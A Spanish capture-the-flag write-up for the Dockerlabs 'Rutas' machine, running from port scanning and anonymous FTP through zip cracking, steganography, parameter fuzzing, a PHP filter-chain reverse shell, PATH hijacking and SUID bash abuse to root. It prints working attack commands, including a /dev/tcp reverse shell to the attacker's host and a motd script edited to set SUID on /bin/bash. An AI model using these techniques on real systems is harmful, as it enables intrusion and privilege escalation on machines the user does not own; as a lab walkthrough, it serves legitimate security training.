Rutas es una de las maquinas existentes actualmente en la plataforma de hacking Dockerlabs y es de dificultad Medio.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la maquina a vulnerar levantada , la ip por defecto será la 172.17.0.2.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 172.17.0.2 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-16 21:42 CEST Initiating ARP Ping Scan at 21:42 Scanning 172.17.0.2 [1 port] Completed ARP Ping Scan at 21:42, 0.08s elapsed (1 total hosts) Initiating SYN Stealth Scan at 21:42 Scanning 172.17.0.2 [65535 ports] Discovered open port 22/tcp on 172.17.0.2 Discovered open port 80/tcp on 172.17.0.2 Discovered open port 21/tcp on 172.17.0.2 Completed SYN Stealth Scan at 21:42, 1.03s elapsed (65535 total ports) Nmap scan report for 172.17.0.2 Host is up, received arp-response (0.000017s latency). Scanned at 2024-07-16 21:42:05 CEST for 1s Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE REASON 21/tcp open ftp syn-ack ttl 64 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 02:42:AC:11:00:02 (Unknown) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 1.30 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sCV -p21,22,80 172.17.0.2 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-16 21:42 CEST Nmap scan report for trackedvuln.dl (172.17.0.2) Host is up (0.000039s latency). PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.5 | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:172.17.0.1 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 4 | vsFTPd 3.0.5 - secure, fast, stable |_End of status | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-r--r-- 1 0 0 0 Jul 11 06:54 hola_disfruta |_-rw-r--r-- 1 0 0 293 Jul 11 06:55 respeta.zip 22/tcp open ssh OpenSSH 7.7p1 Ubuntu 3ubuntu13.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 63:16:54:2a:05:1d:8e:43:53:55:8b:d5:4e:35:c9:1f (ECDSA) |_ 256 21:24:77:5d:f8:2f:b2:64:ec:42:8b:0b:ef:f0:46:1b (ED25519) 80/tcp open http Apache httpd 2.4.58 ((Ubuntu)) |_http-title: 401 Unauthorized | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=Restricted Content |_http-server-header: Apache/2.4.58 (Ubuntu) MAC Address: 02:42:AC:11:00:02 (Unknown) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.28 seconds |
Lo primero será revisar el ftp para descargarnos los archivos:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
┌──(kali㉿kali)-[~/Downloads/rutas] └─$ ftp 172.17.0.2 Connected to 172.17.0.2. 220 (vsFTPd 3.0.5) Name (172.17.0.2:kali): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229 Entering Extended Passive Mode (|||8390|) 150 Here comes the directory listing. -rw-r--r-- 1 0 0 0 Jul 11 06:54 hola_disfruta -rw-r--r-- 1 0 0 293 Jul 11 06:55 respeta.zip 226 Directory send OK. ftp> mget * mget hola_disfruta [anpqy?]? y 229 Entering Extended Passive Mode (|||31006|) 150 Opening BINARY mode data connection for hola_disfruta (0 bytes). 0 0.00 KiB/s 226 Transfer complete. mget respeta.zip [anpqy?]? y 229 Entering Extended Passive Mode (|||63150|) 150 Opening BINARY mode data connection for respeta.zip (293 bytes). 100% |***********************************************************************************************************************************************************************************************| 293 194.64 KiB/s 00:00 ETA 226 Transfer complete. 293 bytes received in 00:00 (148.02 KiB/s) ftp> |
Intentamos descomprimir el archivo zip, dado que el archivo no tiene nada pero esta protegido con contraseña, así que usaremos zip2john
|
1 2 3 4 5 6 7 8 |
┌──(kali㉿kali)-[~/binwalk/src/binwalk] └─$ unzip respeta.zip Archive: respeta.zip [respeta.zip] oculto.txt password: ┌──(kali㉿kali)-[~/Downloads/rutas] └─$ zip2john respeta.zip > hash ver 2.0 efh 5455 efh 7875 respeta.zip/oculto.txt PKZIP Encr: TS_chk, cmplen=107, decmplen=113, crc=E9450283 ts=8E3B cs=8e3b type=8 |
Lo intentamos crackear con john usando el diccionario rockyou
|
1 2 3 4 5 6 7 8 9 10 11 |
┌──(kali㉿kali)-[~/Downloads/rutas] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash Created directory: /home/kali/.john Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status greenday (respeta.zip/oculto.txt) 1g 0:00:00:00 DONE (2024-07-16 21:44) 100.0g/s 409600p/s 409600c/s 409600C/s 123456..oooooo Use the "--show" option to display all of the cracked passwords reliably Session completed. |
Y teniendo la contraseña, descomprimiremos el zip para ver su contenido.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
┌──(kali㉿kali)-[~/Downloads/rutas] └─$ unzip respeta.zip Archive: respeta.zip [respeta.zip] oculto.txt password: inflating: oculto.txt ┌──(kali㉿kali)-[~/Downloads/rutas] └─$ cat oculto.txt Consigue la imagen crackpass.jpg firstatack.github.io sin fuzzing con logica y observando la sacaras ,muy rapido |
La pista nos dice que va relacionado con la pagina github.io del creador y esta, se nutre de un repositorio en github.com, encontramos el fichero y nos los descargaremos

Una vez descargada, vemos que usa esteganografía para ocultar un archivo
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
┌──(kali㉿kali)-[~/Downloads/rutas] └─$ stegseek crackpass.jpg StegSeek 0.6 - https://github.com/RickdeJager/StegSeek [i] Found passphrase: "" [i] Original filename: "passwd.zip". [i] Extracting to "crackpass.jpg.out". ┌──(kali㉿kali)-[~/Downloads/rutas] └─$ mv crackpass.jpg.out crack.zip ┌──(kali㉿kali)-[~/Downloads/rutas] └─$ unzip crack.zip Archive: crack.zip extracting: pass ┌──(kali㉿kali)-[~/Downloads/rutas] └─$ cat pass hackeada:denuevo |
Tras no ver nada mas, buscaremos en el puerto 80, probamos manualmente si existe un index.php y vemos que hay un virtual host

Lo añadimos a /etc/hosts para ver la web, que también tiene un index.php como la anterior, pero nos pide credenciales para entrar, así que usaremos las que hemos conseguido en el zip


Como no vemos nada mas a simple vista, vemos si index.php tiene algún parámetro para poder pasarle alguna petición
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
┌──(kali㉿kali)-[~/Downloads/rutas] └─$ wfuzz --hw=86 -w ~/cortorock -u "http://trackedvuln.dl/index.php?FUZZ=/etc/passwd" -H "Authorization: Basic aGFja2VhZGE6ZGVudWV2bw==" /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://trackedvuln.dl/index.php?FUZZ=/etc/passwd Total requests: 5000 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000387: 200 39 L 104 W 1071 Ch "love" |
Vemos que parece ser vulnerable a RFI pero probamos con php filter chain del siguiente modo

Se lo mandamos por burpsuite, no sin antes levantarnos un servidor http con python y ponernos en escucha con netcat

Conseguimos una shell como www-data
|
1 2 3 4 5 |
┌──(kali㉿kali)-[~] └─$ nc -nvlp 1235 listening on [any] 1235 ... connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 32836 www-data@8200fcf7200b:/tmp$ |
Revisamos si tenemos algún binario para lanzar con sudo
|
1 2 3 4 5 6 7 8 |
www-data@8200fcf7200b:/tmp$ sudo -l Matching Defaults entries for www-data on 8200fcf7200b: env_reset, mail_badpass, secure_path=/tmp\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User www-data may run the following commands on 8200fcf7200b: (norberto) NOPASSWD: /usr/bin/baner |
Si lanzamos el binario vemos lo siguiente
|
1 2 3 4 5 6 7 8 9 10 11 |
www-data@8200fcf7200b:/tmp$ /usr/bin/baner Ejecutando 'head' con ruta absoluta: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync Ejecutando 'head' con ruta relativa: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin |
Ruta relativa? Esto parece que llama al binario sin el path completo, por lo que parece que vamos a poder hacer un path hijacking, primero creamos en /tmp un fichero con el nombre de head, cambiamos el path y ejecutamos para ganarnos una reverse shell como norberto
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
bash-5.2$ cat /tmp/head #!/bin/bash /bin/bash -i >& /dev/tcp/172.17.0.1/1235 0>&1 www-data@8200fcf7200b:/tmp$ export PATH=.:$PATH www-data@8200fcf7200b:/tmp$ sudo -u norberto /usr/bin/baner ┌──(kali㉿kali)-[~] └─$ nc -nvlp 1235 listening on [any] 1235 ... connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 44256 norberto@8200fcf7200b:/tmp$ script /dev/null -c bash script /dev/null -c bash Script started, output log file is '/dev/null'. norberto@8200fcf7200b:/tmp$ |
Como el usuario norberto vamos a su home para ver una carpeta «oculta» con información del usuario
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
norberto@8200fcf7200b:~$ cd .- norberto@8200fcf7200b:~/.-$ ls -ltra total 12 -rw-rw-r-- 1 norberto norberto 181 Jul 13 03:34 .miscredenciales drwxrwxr-x 1 norberto norberto 4096 Jul 13 03:34 . drwxr-x--- 1 norberto norberto 4096 Jul 17 02:22 .. norberto@8200fcf7200b:~/.-$ cat .miscredenciales Hasta aqui no sirvio mi password ⠏⠗⠁⠉⠞⠊⠉⠁⠉⠗⠑⠁⠝⠙⠕⠗⠑⠞⠕⠎ Debes tenerlo a mano te sera util Usa mis pass para escalar feliz hack de firstatack |
Usando dcode.fr podemos ver lo que esconde

También vemos que existe un SUID para poder escalar a maria
|
1 2 3 4 5 |
-rwsr-sr-x 1 maria maria 1.4M Jul 10 10:02 /usr/lib/bash norberto@8200fcf7200b:/tmp$ /usr/lib/bash -p bash-5.2$ whoami maria |
Ahora como maria, volvemos a revisar su home donde obtenemos sus credenciales
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
bash-5.2$ ls -ltra /home/maria total 40 -rw-r--r-- 1 maria maria 807 Jul 9 23:08 .profile -rw-r--r-- 1 maria maria 220 Jul 9 23:08 .bash_logout drwxr-xr-x 1 root root 4096 Jul 9 23:08 .. drwxrwxr-x 3 maria maria 4096 Jul 10 01:15 .local -rw-r--r-- 1 maria maria 3789 Jul 11 05:50 .bashrc -rw-rw-r-- 1 maria maria 45 Jul 13 03:35 .mipass drwx------ 2 maria maria 4096 Jul 17 02:38 .cache -rw------- 1 maria maria 161 Jul 17 02:40 .bash_history drwxr-x--- 1 maria maria 4096 Jul 17 02:40 . bash-5.2$ cat .mipass maria:asientiendesmejor Donde podre escribir |
Nos conectamos a la maquina con el nuevo usuario
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
──(kali㉿kali)-[~] └─$ ssh maria@172.17.0.2 maria@172.17.0.2's password: SORPRESA FELIZ HACK * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro _ _ _ _ _ _ _ _ _ _ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ ( F | I | R | S | T | A | T | A | C | K ) \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ _ _ _ _ _ _ _ _ _ / \ / \ / \ / \ / \ / \ / \ / \ / \ ( f | e | l | i | z ) ( h | a | c | k ) \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. maria@8200fcf7200b:~$ |
Tras usar linpeas vemos que podemos escribir en un archivo que se ejecuta al iniciar una sesión
|
1 2 3 |
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500) ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files /etc/update-motd.d/00-header |
Así que añadimos en la ultima línea el convertir en SUID a /bin/bash
|
1 2 3 4 5 6 7 8 9 10 11 |
bash-5.2# echo "chmod 4777 /bin/bash" >> /etc/update-motd.d/00-header bash-5.2# tail /etc/update-motd.d/00-header if [ -z "$DISTRIB_DESCRIPTION" ] && [ -x /usr/bin/lsb_release ]; then # Fall back to using the very slow lsb_release utility DISTRIB_DESCRIPTION=$(lsb_release -s -d) fi printf "SORPRESA\n" #printf "Welcome to %s (%s %s %s)\n" "$DISTRIB_DESCRIPTION" "$(uname -o)" "$(uname -r)" "$(uname -m)" printf "\n\nFELIZ HACK\n\n" chmod 4777 /bin/bash |
Por ultimo, nos desconectaremos, conectaremos para poder escalar a root con el SUID
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
└─$ ssh maria@172.17.0.2 maria@172.17.0.2's password: SORPRESA FELIZ HACK * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro _ _ _ _ _ _ _ _ _ _ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ ( F | I | R | S | T | A | T | A | C | K ) \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ _ _ _ _ _ _ _ _ _ / \ / \ / \ / \ / \ / \ / \ / \ / \ ( f | e | l | i | z ) ( h | a | c | k ) \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ Last login: Wed Jul 17 02:40:26 2024 from 172.17.0.1 -bash-5.2$ ls -l /bin/bash -rwsrwxrwx 1 root root 1446024 Mar 31 18:41 /bin/bash -bash-5.2$ bash -p bash-5.2# id uid=1002(maria) gid=1002(maria) euid=0(root) groups=1002(maria),100(users) bash-5.2# whoami root |






